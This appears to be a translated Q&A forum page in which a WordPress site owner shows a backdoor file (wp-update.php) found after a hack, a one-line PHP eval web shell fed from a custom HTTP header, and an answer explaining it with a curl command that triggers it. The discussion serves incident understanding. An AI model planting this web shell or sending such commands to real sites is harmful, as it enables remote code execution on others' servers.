php - 黑客可以将参数传递给 $_SERVER 吗？

Question

所以我们的网站不幸被黑了。

他们在我们的 wp-admin 目录中创建了一个名为 wp-update.php 的文件，其中包含以下代码：

<?php @eval($_SERVER['HTTP_4CD44849DA572F7C']); ?>

我的问题是黑客如何使用 $_SERVER 传入他的脚本？

标签： phpwordpresssecurityserver

Answer 1

$_SERVER名称以 开头的超全局属性HTTP_只是 HTTP 请求标头的表示。

由于请求标头完全由发出请求的人控制，因此在此处插入数据是微不足道的。

任何 HTTP 客户端都会让攻击者指定他们喜欢的任何标头。cURL 的命令行客户端中的示例如下所示：

curl -H "4CD44849DA572F7C: code goes here" http://example.com/your-hacked.php